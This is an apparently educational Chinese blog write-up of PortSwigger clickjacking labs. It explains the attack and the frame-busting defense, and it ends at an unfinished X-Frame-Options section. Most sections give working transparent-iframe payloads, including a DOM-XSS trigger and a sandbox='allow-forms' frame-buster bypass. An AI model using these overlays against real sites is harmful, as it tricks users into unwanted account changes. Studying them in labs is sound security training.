PortSwigger-点击劫持攻击
Drunkbaby Lv6

点击劫持攻击

前记:写这篇文章首先是为大家介绍点击劫持攻击,其次,如果是刷port的小伙伴,我不建议特别刷port的这个靶场,它严格要求你必须将恶意iframe内容与原元素严格对齐,要强行将靶场题目解出意义甚微,建议还是找实践性的靶场比较好。

0x01 什么是点击劫持攻击

点击劫持:英文Clickjacking,也叫 UI redressing。

点击劫持是一种基于界面的攻击,通过点击诱饵网站中的其他一些内容,诱骗用户点击隐藏网站上的可操作内容。

  • 点击劫持攻击:直接举例子说比较好,比如我们在某个网站浏览内容时,跳出来了一些广告,如图所示。

当我们点击”点这里”的时候,出来的却是另外一个界面——————这就是臭名昭著的点击劫持攻击

0x02 点击劫持攻击的基本构造

点击劫持攻击使用CSS来创建和操作图层。设置CSS中的iframe属性值,使得我们隐藏的劫持按钮与本身网页的功能性按钮重合或达到一个阈值。从而实现我们的点击劫持攻击。我们先来看Port这里提供给我们的基础payload:

<head>
  <style>
    #target_website {
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;
      z-index:2;
      }
    #decoy_website {
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;
      }
  </style>
</head>
...
<body>
  <div id="decoy_website">
  ...decoy web content here...
  </div>
  <iframe id="target_website" src="https://vulnerable-website.com">
  </iframe>
</body>

Port提供的payload当中,src是要攻击的url,width,height为实行恶意点击劫持攻击的元素的高度与宽度,opacity为透明度。这些数值需要根据攻击情况进行设计。

先以port这里最基础的题目为例,来感受一下点击劫持:

1. 如入无人之境的点击劫持攻击

1.1 基础点击劫持

配套靶场Lab: Basic clickjacking with CSRF token protection

这里,我们登录进去,直接输入payload就可以了,要将url替换成自己的url

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.01;
       z-index: 2;
   }
   div {
       position:absolute;
       top:380px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="$url"></iframe>

在这一例靶场当中,我们使用”Clike me”伪装”Delete email”成功,那如果我们需要伪装”Update email”该怎么办呢?

1.2 交互性输入的点击劫持

  • 续接上文,我们这里需要用”Click me”伪装成”Update email”该怎么做呢?如果只是像2.1那样做的话,”Update email”需要参数才能被执行,似乎很难完成了。
配套靶场Lab: Clickjacking with form input data prefilled from a URL parameter

payload:之前输入url的地方,现在加上GET请求的参数

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:430px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="url?email=123@123.com"></iframe>

1.3 点击劫持攻击中执行DOM型XSS

原先我们看到的网站,其实都是对网页上原本存在的元素进行利用,而业务方面很有可能出现问题的则是DOM型XSS。

配套靶场:Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS

直接看payload吧,比较好理解

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.0001;
       z-index: 2;
   }
   div {
       position:absolute;
       top:690px;
       left:80px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe
src="url?name=123<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

frame当中的内容格式可以先通过burpsuite抓包,随后自己编写

  • 当时做这道题目的时候payload卡了很久很久,建议大家如果尝试不出payload可以直接跳过。

1.4 多步骤/操作的点击劫持攻击

攻击者操纵目标网站的输入可能需要执行多项操作。例如,攻击者可能想要诱使用户从零售网站购买商品,因此需要在下订单之前将商品添加到购物篮中。攻击者可以使用多个分区或iframe实现这些操作。从攻击者的角度来看,这种攻击需要相当精确和谨慎,才能有效和隐蔽。

配套靶场 Lab: Multistep clickjacking

payload

<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:50px;
       z-index: 1;
   }
   .secondClick {
       top:285px;
       left:225px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click Store</div>
<iframe src="url"></iframe>

2. 存在一定防御能力的点击劫持攻击

A:Frame busting代码的防御

前文我们说到,可以直接通过iframe的覆盖/劫持行为,对网页进行点击劫持的攻击。那同样,对于服务器来说,也有对应的防守手段————————frame bustingframe breaking scripts。一开始在看Port这部分的时候感觉挺难懂的,尤其又是看机翻的文章,不太好懂,这里我给大家详细地解释一下。

  • frame bustingframe breaking scripts的作用

    1. 检查并强制当前应用程序窗口是否为主窗口或顶部窗口,

    2. 使所有帧可见,

    3. 防止点击不可见的框架,

    4. 拦截并向用户标记潜在的点击劫持攻击。

浅原理:使用JavaScript脚本阻止恶意网站载入网页。如果检测到网页被非法网页载入,就执行自动跳转功能。Frame Busting代码是一种有效防御网站被攻击者恶意载入的方法,网站开发人员使用Frame Busting代码阻止页面被非法载入。

知晓了frame busting代码的作用之后,那学安全嘛,总归是攻防,对方有了防御手段,我们也有绕过手段。

2.1 通过设置sandbox来绕过frame busting代码

  • sandbox是<iframe>标签当中的一个属性,具体有以下这些值
描述
“” 启用所有限制条件
allow-same-origin 允许将内容作为普通来源对待。如果未使用该关键字,嵌入的内容将被视为一个独立的源。
allow-top-navigation 嵌入的页面的上下文可以导航(加载)内容到顶级的浏览上下文环境(browsing context)。如果未使用该关键字,这个操作将不可用。
allow-forms 允许表单提交。
allow-scripts 允许脚本执行。

对frame busting的绕过主要用到后面两个,硬生生理解原理比较累,我们来看一道靶场加强理解。

配套靶场Lab: Clickjacking with a frame buster script
  • 先尝试按照原本的payload进攻攻击,观察一下有什么不一样

这里的报错就是被frame busting给拦截的。结合上文所用的sandbox属性,我们构造出新的有效的payload:这里一定要将”Click me”和”update email”对齐,不然Lab会一直unsovled

<style>
   iframe {
       position:relative;
       width:700px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:80px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms"
src="url?email=hacker@attacker-website.com"></iframe>
B:X-Frame-Options的防御
 评论